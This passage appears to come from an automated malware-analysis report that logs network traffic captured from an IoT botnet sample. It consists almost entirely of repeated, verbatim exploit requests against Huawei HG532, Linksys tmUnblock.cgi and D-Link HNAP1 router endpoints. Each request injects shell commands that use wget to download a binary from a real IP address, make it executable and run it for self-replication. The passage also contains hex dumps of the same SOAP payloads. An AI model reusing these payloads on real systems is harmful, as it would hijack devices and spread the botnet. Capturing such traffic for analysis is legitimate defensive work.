61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 